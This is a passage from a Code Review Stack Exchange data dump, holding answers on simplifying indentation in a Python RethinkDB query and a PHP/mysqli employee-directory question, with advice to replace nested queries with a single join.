"body": "<p>Not really much you can do about the aesthetics of Python's indent style. Perhaps you can do as such:</p>\n\n<pre><code>if id:\n fields = r.table(cls._tablename).get(id).run(cls.connection())\nelse:\n try:\n fields = list(r.table(cls._tablename).filter(**kwargs).limit(1).run(cls.connection()))[0]\n except IndexError:\n fields = None\n</code></pre>\n\n<p>of maybe break the line with a backslash ():</p>\n\n<pre><code>if id:\n fields = r.table(cls._tablename).get(id).run(cls.connection())\nelse:\n try:\n fields = \\\n list(r.table(cls._tablename).filter(**kwargs).limit(1).run(cls.connection()))[0]\n except IndexError:\n fields = None\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:53:22.330",
"Id": "82819",
"Score": "5",
"body": "The lines become too long this way and don't comply to PEP8 anymore."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T00:11:49.680",
"Id": "82858",
"Score": "1",
"body": "Hmm, good point"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:50:50.633",
"Id": "47282",
"ParentId": "47280",
"Score": "1"
}
},
{
"body": "<p>PEP8 allows for violations when it makes sense (and it does in this case. For instance, you can try something like this:</p>\n\n<pre><code>if id:\n fields = r.table(cls._tablename).get(id).run(cls.connection())\nelse:\n try:\n fields = list(\n r.table(cls._tablename)\n .filter(**kwargs)\n .limit(1)\n .run(cls.connection())\n )[0]\n except IndexError:\n fields = None\n</code></pre>\n\n<p>Or this:</p>\n\n<pre><code>if id:\n fields = r.table(cls._tablename)\n .get(id)\n .run(cls.connection())\nelse:\n try:\n fields = list(r.table(cls._tablename)\n .filter(**kwargs)\n .limit(1)\n .run(cls.connection()))[0]\n except IndexError:\n fields = None\n</code></pre>\n\n<p>Whatever you think looks best in your situation, even if it violates PEP8.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:48:03.597",
"Id": "47288",
"ParentId": "47280",
"Score": "2"
}
},
{
"body": "<p>Your indentations strike me as reasonable. In any case, in functions you can often use return statements to help avoid indentation ...</p>\n\n<pre><code>def get_fields(id):\n if id:\n fields = ...\n return fields\n\n try:\n fields = ...\n except:\n fields = ...\n\n return fields\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:57:14.537",
"Id": "47289",
"ParentId": "47280",
"Score": "5"
}
},
{
"body": "<p>I'd do something like</p>\n\n<pre><code>table = r.table(cls._tablename)\n\nif id:\n fields = table.get(id).run(cls.connection())\n\nelse: \n filtered = table.filter(**kwargs).limit(1)\n fieldss = filtered.run(cls.connection()) \n\n # Consider \"next(iter(fieldss), None)\"\n try:\n fields = list(fieldss)[0] \n except IndexError:\n fields = None\n</code></pre>\n\n<p>where I replace <code>tableid</code>, <code>table</code>, <code>filtered</code> and <code>fieldss</code> with <em>descriptive</em> names (rather than my generic stand-ins).</p>\n\n<p>I find that typically there's no reason to try and be too clever with the workflow. It's easier to have logically discrete steps; a chain might look pretty but it's harder to comment, format, move and reason about. For example, the <code>next</code> tip in the code was only obvious once I split up the lines.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T08:01:20.060",
"Id": "82897",
"Score": "0",
"body": "You are right, I tended to put everything in one command, but it looks prettier if I split everything into smaller, readable parts. Thank you!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T04:53:16.247",
"Id": "47318",
"ParentId": "47280",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47318",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:36:06.523",
"Id": "47280",
"Score": "9",
"Tags": [
"python",
"optimization"
],
"Title": "Simplifying many-indents-code"
} | 47280 |
<p>I'm working on a directory that lists employee information. Each employee can belong to multiple departments and each employee can have multiple job titles. I have 5 MySQL tables that I am pulling information out of, including: </p>
<ul>
<li><code>employee</code></li>
<li><code>employee_has_department</code></li>
<li><code>department</code> </li>
<li><code>employee_has_jobTitle</code></li>
<li><code>jobTitle</code></li>
</ul>
<p>The <code>employee</code> table has a many-to-many relationship with <code>department</code> and <code>jobTitle</code>. I currently have nested queries, as follows:</p>
<pre><code>$stmt = $mysqli->prepare("SELECT employeeId, firstName, middleName, lastName, suffix, profilePhoto FROM employee");
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($employeeId, $firstName, $middleName, $lastName, $suffix, $profilePhoto);
while($stmt->fetch()){
echo "<h4>$firstName</h4>";
$stmt2 = $mysqli->prepare("SELECT jobName FROM jobTitle INNER JOIN employee_has_jobTitle ON jobTitleId = jobTitle_jobTitleId WHERE employee_employeeId = ?");
$stmt2->bind_param("i", $employeeId);
$stmt2->execute();
$stmt2->store_result();
$stmt2->bind_result($jobName);
while($stmt2->fetch()) {
echo "$jobName<br>";
}
$stmt3 = $mysqli->prepare("SELECT departmentName, departmentURL FROM department INNER JOIN employee_has_department ON departmentId = department_departmentId WHERE employee_employeeId = ?");
$stmt3->bind_param("i", $employeeId);
$stmt3->execute();
$stmt3->store_result();
$stmt3->bind_result($deptName, $deptURL);
while($stmt3->fetch()) {
echo "<a href='$deptURL'>$deptName</a>";
}
}
</code></pre>
<p>Clearly the output needs formatting, but it's getting the information and outputting as expected. I know that this can probably be done in a single <code>sql</code> statement, but the complexity and ugliness of performing a <code>join</code> on 5 separate tables with multiple many-to-many relationships leaves me wondering. Would taking the time to figure out such a query worth the hassle, or is this an "acceptable" way of handling the situation?</p>
| [] | [
{
"body": "<p>The answer is that there is a definite performance gain in having it all in a single join. Just the reduction in back and forth should greatly decrease the latency, and the database engine should be way more effective.</p>\n\n<p>For a more general view on that topic :</p>\n\n<ul>\n<li><p>Will the request be hard to understand later ? This is the most important question, as it will be the difference between maintainable code and code nobody will dare touch. In this particular case, I would say there is an obvious request to write, and that it will be fairly easy to understand. If you don't feel this is the case, then you probably <em>should not</em> go this way (premature optimization, etc.).</p></li>\n<li><p>How complex will be the whole solution ? Displacing logic from PHP to SQL is often a good idea, but might have drawbacks :</p>\n\n<ul>\n<li>hidden logic (triggers, or opaque stored procedures) that is hard to understand later</li>\n<li>vendor lock-in (when using advanced features that are not standard).</li>\n<li>poor performance : with complex queries, it becomes hard to evaluate the run-time performance</li>\n</ul>\n\n<p>It seems to me that a straightforward 5 tables join is far from complex, and is a lot less ugly than the PHP code displayed here. You would get rid of all the content of the while loop ...</p></li>\n<li><p>How much will the performance be impacted ? For a low-traffic web application, which is the most common case, this should be the last concern.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T23:48:18.100",
"Id": "82854",
"Score": "0",
"body": "The initial join may not be too bad, but this is just the initial query that displays all. There will be pagination added, sorting by department and/or job title, searching by first or last name, etc. I think you're right that a single query will be a performance boost, but I also think that at the end of the day this is going to be a hellacious query. Thanks for your time and input!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T14:39:05.143",
"Id": "82958",
"Score": "0",
"body": "I edited my question, though I still consider it answered. I added what the single query is for those that may stumble across this question later. If you have time, would you check it to see if it's done efficiently? Running it in phpmyadmin works, and it appears to be returning all the information correctly. Thanks again for your help!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:28:03.793",
"Id": "82964",
"Score": "2",
"body": "It seems good to me after a quick glance, but if you want the final word on performance, you should check what the `EXPLAIN` command tells you."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:24:25.843",
"Id": "47296",
"ParentId": "47292",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47296",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T21:45:51.287",
"Id": "47292",
"Score": "0",
"Tags": [
"php",
"performance",
"mysql",
"mysqli"
],
"Title": "Directory that lists employee information"
} | 47292 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.